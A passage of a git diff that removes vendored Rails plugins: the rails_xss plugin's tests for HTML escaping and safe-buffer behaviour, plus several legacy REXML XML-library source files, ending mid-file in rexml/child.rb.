-    assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
-  end
-
-  def test_stringify_symbol_keys
-    actual = text_field_tag "title", "Hello!", :id => "admin"
-    expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_submit_tag
-    assert_dom_equal(
-      %(<input name='commit' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';alert('hello!');result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...", :onclick => "alert('hello!')")
-    )
-  end
-
-  def test_submit_tag_with_no_onclick_options
-    assert_dom_equal(
-      %(<input name='commit' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...")
-    )
-  end
-
-  def test_submit_tag_with_confirmation
-    assert_dom_equal(
-      %(<input name='commit' type='submit' value='Save' onclick="if (!confirm('Are you sure?')) return false; return true;"/>),
-      submit_tag("Save", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_submit_tag_with_confirmation_and_with_disable_with
-    assert_dom_equal(
-      %(<input name="commit" onclick="if (!confirm('Are you sure?')) return false; if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_image_submit_tag_with_confirmation
-    assert_dom_equal(
-      %(<input type="image" src="/images/save.gif" onclick="return confirm('Are you sure?');"/>),
-      image_submit_tag("save.gif", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_pass
-    assert_equal 1, 1
-  end
-
-  def test_field_set_tag_in_erb
-    __in_erb_template = ''
-    field_set_tag("Your details") { concat "Hello world!" }
-
-    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    self.output_buffer = ''.html_safe
-    field_set_tag { concat "Hello world!" }
-
-    expected = %(<fieldset>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    self.output_buffer = ''.html_safe
-    field_set_tag('') { concat "Hello world!" }
-
-    expected = %(<fieldset>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    self.output_buffer = ''.html_safe
-    field_set_tag('', :class => 'format') { concat "Hello world!" }
-
-    expected = %(<fieldset class="format">Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def protect_against_forgery?
-    false
-  end
-
-  private
-
-  def root_elem(rendered_content)
-    HTML::Document.new(rendered_content).root.children[0]
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/output_escaping_test.rb b/vendor/plugins/rails_xss/test/output_escaping_test.rb
deleted file mode 100644
index 8b6f8b83..00000000
--- a/vendor/plugins/rails_xss/test/output_escaping_test.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require 'test_helper'
-
-class OutputEscapingTest < ActiveSupport::TestCase
-
-  test "escape_html shouldn't die when passed nil" do
-    assert ERB::Util.h(nil).blank?
-  end
-
-  test "escapeHTML should escape strings" do
-    assert_equal "&lt;&gt;&quot;", ERB::Util.h("<>\"")
-  end
-
-  test "escapeHTML shouldn't touch explicitly safe strings" do
-    # TODO this seems easier to compose and reason about, but
-    # this should be verified
-    assert_equal "<", ERB::Util.h("<".html_safe)
-  end
-
-end
diff --git a/vendor/plugins/rails_xss/test/output_safety_test.rb b/vendor/plugins/rails_xss/test/output_safety_test.rb
deleted file mode 100644
index 2e376477..00000000
--- a/vendor/plugins/rails_xss/test/output_safety_test.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require 'test_helper'
-
-class OutputSafetyTest < ActiveSupport::TestCase
-  def setup
-    @string = "hello"
-    @object = Class.new(Object) do
-      def to_s
-        "other"
-      end
-    end.new
-  end
-
-  test "A string is unsafe by default" do
-    assert !@string.html_safe?
-  end
-
-  test "A string can be marked safe" do
-    string = @string.html_safe
-    assert string.html_safe?
-  end
-
-  test "Marking a string safe returns the string" do
-    assert_equal @string, @string.html_safe
-  end
-
-  test "A fixnum is safe by default" do
-    assert 5.html_safe?
-  end
-
-  test "An object is unsafe by default" do
-    assert !@object.html_safe?
-  end
-
-  test "Adding an object to a safe string returns a safe string" do
-    string = @string.html_safe
-    string << @object
-
-    assert_equal "helloother", string
-    assert string.html_safe?
-  end
-
-  test "Adding a safe string to another safe string returns a safe string" do
-    @other_string = "other".html_safe
-    string = @string.html_safe
-    @combination = @other_string + string
-
-    assert_equal "otherhello", @combination
-    assert @combination.html_safe?
-  end
-
-  test "Adding an unsafe string to a safe string escapes it and returns a safe string" do
-    @other_string = "other".html_safe
-    @combination = @other_string + "<foo>"
-    @other_combination = @string + "<foo>"
-
-    assert_equal "other&lt;foo&gt;", @combination
-    assert_equal "hello<foo>", @other_combination
-
-    assert @combination.html_safe?
-    assert !@other_combination.html_safe?
-  end
-
-  test "Concatting safe onto unsafe yields unsafe" do
-    @other_string = "other"
-
-    string = @string.html_safe
-    @other_string.concat(string)
-    assert !@other_string.html_safe?
-  end
-
-  test "Concatting unsafe onto safe yields escaped safe" do
-    @other_string = "other".html_safe
-    string = @other_string.concat("<foo>")
-    assert_equal "other&lt;foo&gt;", string
-    assert string.html_safe?
-  end
-
-  test "Concatting safe onto safe yields safe" do
-    @other_string = "other".html_safe
-    string = @string.html_safe
-
-    @other_string.concat(string)
-    assert @other_string.html_safe?
-  end
-
-  test "Concatting safe onto unsafe with << yields unsafe" do
-    @other_string = "other"
-    string = @string.html_safe
-
-    @other_string << string
-    assert !@other_string.html_safe?
-  end
-
-  test "Concatting unsafe onto safe with << yields escaped safe" do
-    @other_string = "other".html_safe
-    string = @other_string << "<foo>"
-    assert_equal "other&lt;foo&gt;", string
-    assert string.html_safe?
-  end
-
-  test "Concatting safe onto safe with << yields safe" do
-    @other_string = "other".html_safe
-    string = @string.html_safe
-
-    @other_string << string
-    assert @other_string.html_safe?
-  end
-
-  test "Concatting a fixnum to safe always yields safe" do
-    string = @string.html_safe
-    string = string.concat(13)
-    assert_equal "hello".concat(13), string
-    assert string.html_safe?
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/rails_xss_test.rb b/vendor/plugins/rails_xss/test/rails_xss_test.rb
deleted file mode 100644
index b6268baf..00000000
--- a/vendor/plugins/rails_xss/test/rails_xss_test.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'test_helper'
-
-class RailsXssTest < ActiveSupport::TestCase
-  test "ERB::Util.h should mark its return value as safe and escape it" do
-    escaped = ERB::Util.h("<p>")
-    assert_equal "&lt;p&gt;", escaped
-    assert escaped.html_safe?
-  end
-
-  test "ERB::Util.h should leave previously safe strings alone " do
-    # TODO this seems easier to compose and reason about, but
-    # this should be verified
-    escaped = ERB::Util.h("<p>".html_safe)
-    assert_equal "<p>", escaped
-    assert escaped.html_safe?
-  end
-
-  test "ERB::Util.h should not implode when passed a non-string" do
-    assert_nothing_raised do
-      assert_equal "1", ERB::Util.h(1)
-    end
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/raw_output_helper_test.rb b/vendor/plugins/rails_xss/test/raw_output_helper_test.rb
deleted file mode 100644
index 2a67f976..00000000
--- a/vendor/plugins/rails_xss/test/raw_output_helper_test.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'test_helper'
-
-class RawOutputHelperTest < ActionView::TestCase
-
-  def setup
-    @string = "hello"
-  end
-
-  test "raw returns the safe string" do
-    result = raw(@string)
-    assert_equal @string, result
-    assert result.html_safe?
-  end
-
-  test "raw handles nil values correctly" do
-    assert_equal "", raw(nil)
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/safe_buffer_test.rb b/vendor/plugins/rails_xss/test/safe_buffer_test.rb
deleted file mode 100644
index a0a2ecce..00000000
--- a/vendor/plugins/rails_xss/test/safe_buffer_test.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require 'test_helper'
-
-class SafeBufferTest < ActiveSupport::TestCase
-  def setup
-    @buffer = ActiveSupport::SafeBuffer.new
-  end
-
-  test "Should look like a string" do
-    assert @buffer.is_a?(String)
-    assert_equal "", @buffer
-  end
-
-  test "Should escape a raw string which is passed to them" do
-    @buffer << "<script>"
-    assert_equal "&lt;script&gt;", @buffer
-  end
-
-  test "Should NOT escape a safe value passed to it" do
-    @buffer << "<script>".html_safe
-    assert_equal "<script>", @buffer
-  end
-
-  test "Should not mess with an innocuous string" do
-    @buffer << "Hello"
-    assert_equal "Hello", @buffer
-  end
-
-  test "Should not mess with a previously escape test" do
-    @buffer << ERB::Util.html_escape("<script>")
-    assert_equal "&lt;script&gt;", @buffer
-  end
-
-  test "Should be considered safe" do
-    assert @buffer.html_safe?
-  end
-
-  test "Should return a safe buffer when calling to_s" do
-    new_buffer = @buffer.to_s
-    assert_equal ActiveSupport::SafeBuffer, new_buffer.class
-  end
-  
-  test "Should not return a safe buffer when using sub" do
-    assert !@buffer.sub('', "asdf").html_safe?
-  end
-  
-  test "Should raise argument error when using sub!" do
-    assert_raise TypeError do
-      @buffer.sub!('', "asdf")
-    end
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/tag_helper_test.rb b/vendor/plugins/rails_xss/test/tag_helper_test.rb
deleted file mode 100644
index 2a428094..00000000
--- a/vendor/plugins/rails_xss/test/tag_helper_test.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'test_helper'
-
-class TagHelperTest < ActionView::TestCase
-
-  def test_content_tag
-    assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
-    assert content_tag("a", "Create", "href" => "create").html_safe?
-    assert_equal content_tag("a", "Create", "href" => "create"),
-                 content_tag("a", "Create", :href => "create")
-    assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
-                 content_tag(:p, '<script>evil_js</script>')
-    assert_equal "<p><script>evil_js</script></p>",
-                 content_tag(:p, '<script>evil_js</script>', nil, false)
-  end
-
-  def test_tag_honors_html_safe_for_param_values
-    ['1&amp;2', '1 &lt; 2', '&#8220;test&#8220;'].each do |escaped|
-      assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped.html_safe)
-    end
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/test_helper.rb b/vendor/plugins/rails_xss/test/test_helper.rb
deleted file mode 100644
index d9594e44..00000000
--- a/vendor/plugins/rails_xss/test/test_helper.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-abort 'RAILS_ROOT=/path/to/rails/2.3/app rake test' unless ENV['RAILS_ROOT']
-require File.expand_path('config/environment', ENV['RAILS_ROOT'])
-require File.expand_path('../../init', __FILE__)
-require 'active_support/test_case'
-require 'action_view/test_case'
-require 'test/unit'
diff --git a/vendor/plugins/rails_xss/test/text_helper_test.rb b/vendor/plugins/rails_xss/test/text_helper_test.rb
deleted file mode 100644
index b74ae547..00000000
--- a/vendor/plugins/rails_xss/test/text_helper_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'test_helper'
-
-class TextHelperTest < ActionView::TestCase
-
-  def setup
-    @controller = Class.new do
-      attr_accessor :request
-      def url_for(*args) "http://www.example.com" end
-    end.new
-  end
-
-  def test_simple_format_with_escaping_html_options
-    assert_dom_equal(%(<p class="intro">It's nice to have options.</p>),
-                     simple_format("It's nice to have options.", :class=>"intro"))
-  end
-
-  def test_simple_format_should_not_escape_safe_content
-    assert_dom_equal(%(<p>This is <script>safe_js</script>.</p>),
-                     simple_format('This is <script>safe_js</script>.'.html_safe))
-  end
-
-  def test_simple_format_escapes_unsafe_content
-    assert_dom_equal(%(<p>This is &lt;script&gt;evil_js&lt;/script&gt;.</p>),
-                     simple_format('This is <script>evil_js</script>.'))
-  end
-
-  def test_truncate_should_not_be_html_safe
-    assert !truncate("Hello World!", :length => 12).html_safe?
-  end
-end
diff --git a/vendor/plugins/rails_xss/test/url_for_test.rb b/vendor/plugins/rails_xss/test/url_for_test.rb
deleted file mode 100644
index b13451bf..00000000
--- a/vendor/plugins/rails_xss/test/url_for_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'test_helper'
-
-class UrlHelperTest < ActionView::TestCase
-
-  def abcd(hash = {})
-    hash_for(:a => :b, :c => :d).merge(hash)
-  end
-
-  def hash_for(opts = {})
-    {:controller => "foo", :action => "bar"}.merge(opts)
-  end
-
-  def test_url_for_does_not_escape_urls_if_explicitly_stated
-    assert_equal "/foo/bar?a=b&c=d", url_for(abcd(:escape => false))
-  end
-
-  def test_link_tag_with_img
-    link = link_to("<img src='/favicon.jpg' />".html_safe, "/")
-    expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
-    assert_dom_equal expected, link
-  end
-
-  def test_link_to_should_not_escape_content_for_html_safe
-    link = link_to("Some <p>html</p>".html_safe, "/")
-    expected = %{<a href="/">Some <p>html</p></a>}
-    assert_dom_equal link, expected
-  end
-
-  def test_link_to_escapes_content_for_non_safe
-    link = link_to("Some <p>html</p>", "/")
-    expected = %{<a href="/">Some &lt;p&gt;html&lt;/p&gt;</a>}
-    assert_dom_equal link, expected
-  end
-
-  def test_url_for_escaping_is_safety_aware
-    assert url_for(abcd(:escape => true)).html_safe?, "escaped urls should be html_safe?"
-    assert !url_for(abcd(:escape => false)).html_safe?, "non-escaped urls should not be html_safe?"
-  end
-end
diff --git a/vendor/plugins/rexml/lib/require_with_version.rb b/vendor/plugins/rexml/lib/require_with_version.rb
deleted file mode 100644
index ccd9ff90..00000000
--- a/vendor/plugins/rexml/lib/require_with_version.rb
+++ /dev/null
@@ -1,167 +0,0 @@
-# FUNDAMENTAL FLAWS:
-# The order of $: must be preserved.  Therefore, there are two sort
-# criteria: Versioned files are sorted high; after that, the sort order
-# is the order of $:.
-# We must preserve the load path; if rexml-2.4 is required in one place,
-# all rexml/* packages should be loaded from there.
-############################################################################
-#                                                                          #
-#  This is based on Phil Tomson's                                          #
-#  ("ptkwt!shell1#aracnet#com".tr("!#","@."))                              #
-#  code.  The changes I made are:                                          #
-#  1) The Version class is now a member of the Kernel module, to avoid     #
-#     name space conflicts.                                                #
-#  2) Version::to_s() returns the original string, not a comma-separated   #
-#     string.                                                              #
-#  3) The versioning is package based, not file based.  In fact, with      #
-#     this, you can't version individual files.  AFAIC, this is better,    #
-#     since versioning on individual files is much more tedious than       #
-#     package-based versioning, and it is arguably less useful and less    #
-#     commonly desired.                                                    #
-#  4) Versions can have arbitrary length.  EG: 2.7 < 2.7.1, and "2"        #
-#     matches any version that starts with "2", such as "2.5.2.6.7"        #
-#                                                                          #
-#  The rules are these:                                                    #
-#  1) All of the locations in $: will be searched                          #
-#  2) The highest version of the package found that satisfies the          #
-#     requirements will be used.                                           #
-#  3) If there is no versioned package, or no version matches, we default  #
-#     to the normal Ruby require mechanism.  This maintains backward       #
-#     compatible behavior.                                                 #
-#  4) The packages must be installed as foo-x.y.z.  The cardinality of     #
-#     the version is not significant, and packages that do not match this  #
-#     naming pattern match by default.                                     #
-#                                                                          #
-#  Rule (1) and (2) mean that the highest matching version anywhere in     #
-#  the search path will be used.  Rule (3) and (4) mean that even if       #
-#  packages are not installed with this naming convention, programs that   #
-#  use require_version will still work.                                    #
-#                                                                          #
-#  Usage:                                                                  #
-#  To use this, require this module.  Then use require_with_ver, instead   #
-#  of require in your files.                                               # 
-#                                                                          #
-#  Examples:                                                               #
-#    require_version('rexml/document'){|v| v > '2.0' and v < '2.5'}        #
-#    require_version('rexml/document'){|v| v > '2.0'}                      #
-#    require_version('rexml/document')                                     #
-#    require_version('rexml/document'){|v| v > '2.0'}                      #
-#    require_version('rexml/document'){|v| v >= '1.0' and v < '2.0'}       #
-#    require_version('rexml/document'){|v| v >= '1.0' and v < '2.0' and    #
-#                                          v != '1.7'}                     #
-#    require_version('rexml/document'){|v| (v >= '1.0' and                 #
-#                                           v < '2.0'  and                 #
-#                                           v != '1.7') or                 #
-#                                          v == '3.0.1'}                   #
-#    require_version('rexml/document'){|v| v.to_s =~ /^2.[02468]/}         #
-#                                                                          #
-############################################################################
-
-module Kernel
-	#########################################################
-	# Version - takes a string in the form: 'X1.X2.X3...Xn' #
-	# (where 'Xn' is a number)                              #
-	#########################################################
-	class Version
-		include Comparable
-		def initialize(str)
-			@vs = str.split('.').map!{|i| i.to_i}
-		end
-
-		def [](i)
-			@vs[i]
-		end
-
-		def to_s
-			@vs.join('.')
-		end
-
-		def <=>(other)
-			if other.class == String
-				other = Version.new(other)
-			end
-			@vs.each_with_index { |v,i|
-        return 1 unless other[i]
-				unless v == other[i]
-					return v <=> other[i]
-				end
-			}
-			return 0
-		end
-	end
-
-  alias :old_require :require
-
-	@@__versioned__ = {}
-  def require(file,&b)
-		path = file.split('/')
-		root = path[0]
-		rest = path[1..-1].join('/')
-		unless @@__versioned__[root]
-			package = File.dirname( file )
-			files = []
-			$:.each {|dir|
-				if File.exists? dir
-					fileset = Dir.new(dir).entries.delete_if {|f| 
-						fpath = File.join( dir, f )
-						!(File.directory?(fpath) and f =~ /^#{root}(-\d(\.\d)*)?$/)
-					}
-					fileset.collect!{ |f| File.join( dir, f ) }
-					files += fileset
-				end
-			}
-			if files.size > 0
-				@@__versioned__[root] = files.uniq.sort{|x,y| 
-					File.basename(x) <=> File.basename(y)
-				}
-				@@__versioned__[root].reverse!
-			else
-				@@__versioned__[root] = [root]
-			end
-		end
-		base = @@__versioned__[root][0]
-		if b #block_given?
-			p @@__versioned__[root]
-			base = @@__versioned__[root].delete_if { |f|
-				l = File.basename(f)
-				l.include?('-') and yield( Version.new( l.split('-')[1] ) ) and 
-				Dir.new(f).entries.include?( rest+".rb" ) ? false : true
-			}
-			p base
-			base = base[0]
-		end
-		#old_require "#{base}/#{rest}"
-		puts <<-EOL
-		old_require "#{base}/#{rest}"
-		EOL
-  end
-end
-
-#=begin
-# For testing
-if $0 == __FILE__
-	$: << "./"
-	puts "\n\nv > '2.0' and v < '2.5'"
-	require('rexml/document'){|v| v > '2.0' and v < '2.5'}
-	puts "\n\nv > '2.0' and v < '3'"
-	require('rexml/document'){|v| v > '2.0' and v < '3'}
-=begin
-	puts "\n\nv > '2.0'"
-	require('rexml/document'){|v| v > '2.0'}
-  require('rexml/document')
-  puts "\n\nv > '2.0'"
-  require('rexml/document'){|v| v > '2.0'}
-  puts "\n\nv >= '1.0' and v < '2.0'"
-  require('rexml/document'){|v| v >= '1.0' and v < '2.0'}
-  puts "\n\nv >= '1.0' and v < '2.0' and v != '1.7'"
-  require('rexml/document'){|v| v >= '1.0' and v < '2.0' and v != '1.7'}
-  require('rexml/document'){|v| (v >= '1.0' and
-                                         v < '2.0'  and
-                                         v != '1.7') or
-                                        v == '3.0.1'}
-  puts "\n\nv.to_s =~ /^2.[02468]/"
-  require('rexml/document'){|v| v.to_s =~ /^2.[02468]/}
-	require('rexml/parsers/baseparser' )
-=end
-end
-#=end
diff --git a/vendor/plugins/rexml/lib/rexml/attlistdecl.rb b/vendor/plugins/rexml/lib/rexml/attlistdecl.rb
deleted file mode 100644
index d4b5c38a..00000000
--- a/vendor/plugins/rexml/lib/rexml/attlistdecl.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-#vim:ts=2 sw=2 noexpandtab:
-require 'rexml/child'
-require 'rexml/source'
-
-module REXML
-	# This class needs:
-	# * Documentation
-	# * Work!  Not all types of attlists are intelligently parsed, so we just
-	# spew back out what we get in.  This works, but it would be better if
-	# we formatted the output ourselves.
-	#
-	# AttlistDecls provide *just* enough support to allow namespace
-	# declarations.  If you need some sort of generalized support, or have an
-	# interesting idea about how to map the hideous, terrible design of DTD
-	# AttlistDecls onto an intuitive Ruby interface, let me know.  I'm desperate
-	# for anything to make DTDs more palateable.
-	class AttlistDecl < Child
-		include Enumerable
-
-		# What is this?  Got me.
-		attr_reader :element_name
-
-		# Create an AttlistDecl, pulling the information from a Source.  Notice
-		# that this isn't very convenient; to create an AttlistDecl, you basically
-		# have to format it yourself, and then have the initializer parse it.
-		# Sorry, but for the forseeable future, DTD support in REXML is pretty
-		# weak on convenience.  Have I mentioned how much I hate DTDs?
-		def initialize(source)
-			super()
-			if (source.kind_of? Array)
-				@element_name, @pairs, @contents = *source
-			end
-		end
-	
-		# Access the attlist attribute/value pairs.
-		#  value = attlist_decl[ attribute_name ]
-		def [](key)
-			@pairs[key]
-		end
-
-		# Whether an attlist declaration includes the given attribute definition
-		#  if attlist_decl.include? "xmlns:foobar"
-		def include?(key)
-			@pairs.keys.include? key
-		end
-
-		# Itterate over the key/value pairs:
-		#  attlist_decl.each { |attribute_name, attribute_value| ... }
-		def each(&block)
-			@pairs.each(&block)
-		end
-
-		# Write out exactly what we got in.
-		def write out, indent=-1
-			out << @contents
-		end
-
-		def node_type
-			:attlistdecl
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/attribute.rb b/vendor/plugins/rexml/lib/rexml/attribute.rb
deleted file mode 100644
index 4692a5b8..00000000
--- a/vendor/plugins/rexml/lib/rexml/attribute.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require "rexml/namespace"
-require 'rexml/text'
-
-module REXML
-	# Defines an Element Attribute; IE, a attribute=value pair, as in:
-	# <element attribute="value"/>.  Attributes can be in their own
-	# namespaces.  General users of REXML will not interact with the
-	# Attribute class much.
-	class Attribute
-		include Node
-		include Namespace
-
-		# The element to which this attribute belongs
-		attr_reader :element
-		# The normalized value of this attribute.  That is, the attribute with
-		# entities intact.
-		attr_writer :normalized	
-		PATTERN = /\s*(#{NAME_STR})\s*=\s*(["'])(.*?)\2/um
-
-    NEEDS_A_SECOND_CHECK = /(<|&((#{Entity::NAME});|(#0*((?:\d+)|(?:x[a-fA-F0-9]+)));)?)/um
-
-		# Constructor.
-    # FIXME: The parser doesn't catch illegal characters in attributes
-    #
-    # first:: 
-    #   Either: an Attribute, which this new attribute will become a
-    #   clone of; or a String, which is the name of this attribute
-    # second::
-    #   If +first+ is an Attribute, then this may be an Element, or nil.
-    #   If nil, then the Element parent of this attribute is the parent
-    #   of the +first+ Attribute.  If the first argument is a String, 
-    #   then this must also be a String, and is the content of the attribute.  
-    #   If this is the content, it must be fully normalized (contain no
-    #   illegal characters).
-    # parent::
-    #   Ignored unless +first+ is a String; otherwise, may be the Element 
-    #   parent of this attribute, or nil.
-    #
-		#
-		#  Attribute.new( attribute_to_clone )
-		#  Attribute.new( attribute_to_clone, parent_element )
-		#  Attribute.new( "attr", "attr_value" )
-		#  Attribute.new( "attr", "attr_value", parent_element )
-		def initialize( first, second=nil, parent=nil )
-			@normalized = @unnormalized = @element = nil
-			if first.kind_of? Attribute
-				self.name = first.expanded_name
-				@unnormalized = first.value
-				if second.kind_of? Element
-					@element = second
-				else
-					@element = first.element
-				end
-			elsif first.kind_of? String
-				@element = parent
-				self.name = first
-				@normalized = second.to_s
-			else
-				raise "illegal argument #{first.class.name} to Attribute constructor"
-			end
-		end
-
-		# Returns the namespace of the attribute.
-		# 
-		#  e = Element.new( "elns:myelement" )
-		#  e.add_attribute( "nsa:a", "aval" )
-		#  e.add_attribute( "b", "bval" )
-		#  e.attributes.get_attribute( "a" ).prefix   # -> "nsa"
-		#  e.attributes.get_attribute( "b" ).prefix   # -> "elns"
-		#  a = Attribute.new( "x", "y" )
-		#  a.prefix                                   # -> ""
-		def prefix
-			pf = super
-			if pf == ""
-				pf = @element.prefix if @element
-			end
-			pf
-		end
-
-		# Returns the namespace URL, if defined, or nil otherwise
-		# 
-		#  e = Element.new("el")
-		#  e.add_attributes({"xmlns:ns", "http://url"})
-		#  e.namespace( "ns" )              # -> "http://url"
-		def namespace arg=nil
-			arg = prefix if arg.nil?
-			@element.namespace arg
-		end
-
-		# Returns true if other is an Attribute and has the same name and value,
-		# false otherwise.
-		def ==( other )
-			other.kind_of?(Attribute) and other.name==name and other.value==value
-		end
-
-		# Creates (and returns) a hash from both the name and value
-		def hash
-			name.hash + value.hash
-		end
-
-		# Returns this attribute out as XML source, expanding the name
-		#
-		#  a = Attribute.new( "x", "y" )
-		#  a.to_string     # -> "x='y'"
-		#  b = Attribute.new( "ns:x", "y" )
-		#  b.to_string     # -> "ns:x='y'"
-		def to_string
-			if @element and @element.context and @element.context[:attribute_quote] == :quote
-				%Q^#@expanded_name="#{to_s().gsub(/"/, '&quote;')}"^
-			else
-				"#@expanded_name='#{to_s().gsub(/'/, '&apos;')}'"
-			end
-		end
-
-    def doctype
-			if @element
-				doc = @element.document
-				doctype = doc.doctype if doc
-			end
-    end
-
-		# Returns the attribute value, with entities replaced
-		def to_s
-			return @normalized if @normalized
-
-			@normalized = Text::normalize( @unnormalized, doctype )
-			@unnormalized = nil
-      @normalized
-		end
-
-		# Returns the UNNORMALIZED value of this attribute.  That is, entities
-		# have been expanded to their values
-		def value
-			return @unnormalized if @unnormalized
-			@unnormalized = Text::unnormalize( @normalized, doctype )
-			@normalized = nil
-      @unnormalized
-		end
-
-		# Returns a copy of this attribute
-		def clone
-			Attribute.new self
-		end
-
-		# Sets the element of which this object is an attribute.  Normally, this
-		# is not directly called.
-		#
-		# Returns this attribute
-		def element=( element )
-			@element = element
-
-      if @normalized
-        Text.check( @normalized, Text::NEEDS_A_SECOND_CHECK, doctype )
-      end
-
-			self
-		end
-
-		# Removes this Attribute from the tree, and returns true if successfull
-		# 
-		# This method is usually not called directly.
-		def remove
-			@element.attributes.delete self.name unless @element.nil?
-		end
-
-		# Writes this attribute (EG, puts 'key="value"' to the output)
-		def write( output, indent=-1 )
-			output << to_string
-		end
-
-    def node_type
-      :attribute
-    end
-
-    def inspect
-      rv = ""
-      write( rv )
-      rv
-    end
-
-    def xpath
-      path = @element.xpath
-      path += "/@#{self.expanded_name}"
-      return path
-    end
-	end
-end
-#vim:ts=2 sw=2 noexpandtab:
diff --git a/vendor/plugins/rexml/lib/rexml/cdata.rb b/vendor/plugins/rexml/lib/rexml/cdata.rb
deleted file mode 100644
index 856b9ef8..00000000
--- a/vendor/plugins/rexml/lib/rexml/cdata.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require "rexml/text"
-
-module REXML
-	class CData < Text
-		START = '<![CDATA['
-		STOP = ']]>'
-		ILLEGAL = /(\]\]>)/
-
-		#	Constructor.  CData is data between <![CDATA[ ... ]]>
-		#
-		# _Examples_
-		#  CData.new( source )
-		#  CData.new( "Here is some CDATA" )
-		#  CData.new( "Some unprocessed data", respect_whitespace_TF, parent_element )
-		def initialize( first, whitespace=true, parent=nil )
-			super( first, whitespace, parent, false, true, ILLEGAL )
-		end
-
-		# Make a copy of this object
-		# 
-		# _Examples_
-		#  c = CData.new( "Some text" )
-		#  d = c.clone
-		#  d.to_s        # -> "Some text"
-		def clone
-			CData.new self
-		end
-
-		# Returns the content of this CData object
-		#
-		# _Examples_
-		#  c = CData.new( "Some text" )
-		#  c.to_s        # -> "Some text"
-		def to_s
-			@string
-		end
-
-    def value
-      @string
-    end
-
-    # == DEPRECATED
-    # See the rexml/formatters package
-    #
-		# Generates XML output of this object
-		#
-		# output::
-		#   Where to write the string.  Defaults to $stdout
-		# indent::
-    #   The amount to indent this node by
-		# transitive::
-    #   Ignored
-		# ie_hack::
-    #   Ignored
-		#
-		# _Examples_
-		#  c = CData.new( " Some text " )
-		#  c.write( $stdout )     #->  <![CDATA[ Some text ]]>
-		def write( output=$stdout, indent=-1, transitive=false, ie_hack=false )
-      Kernel.warn( "#{self.class.name}.write is deprecated" )
-			indent( output, indent )
-			output << START
-			output << @string
-			output << STOP
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/child.rb b/vendor/plugins/rexml/lib/rexml/child.rb
deleted file mode 100644
index 6d3c9df5..00000000
--- a/vendor/plugins/rexml/lib/rexml/child.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require "rexml/node"
-
-module REXML
-	##
-	# A Child object is something contained by a parent, and this class
-	# contains methods to support that.  Most user code will not use this
-	# class directly.
-	class Child
-		include Node
-		attr_reader :parent		# The Parent of this object
-
-		# Constructor.  Any inheritors of this class should call super to make
-		# sure this method is called.
-		# parent::
-		#   if supplied, the parent of this child will be set to the
-		#   supplied value, and self will be added to the parent
-		def initialize( parent = nil )
-			@parent = nil  
-			# Declare @parent, but don't define it.  The next line sets the 
-			# parent.
-			parent.add( self ) if parent
-		end
-
-		# Replaces this object with another object.  Basically, calls
-		# Parent.replace_child
-		#
-		# Returns:: self
-		def replace_with( child )
-			@parent.replace_child( self, child )
-			self
-		end
-
-		# Removes this child from the parent.
-		#
-		# Returns:: self
-		def remove
-			unless @parent.nil?
-				@parent.delete self
-			end
-			self
-		end
-
-		# Sets the parent of this child to the supplied argument.
-		#
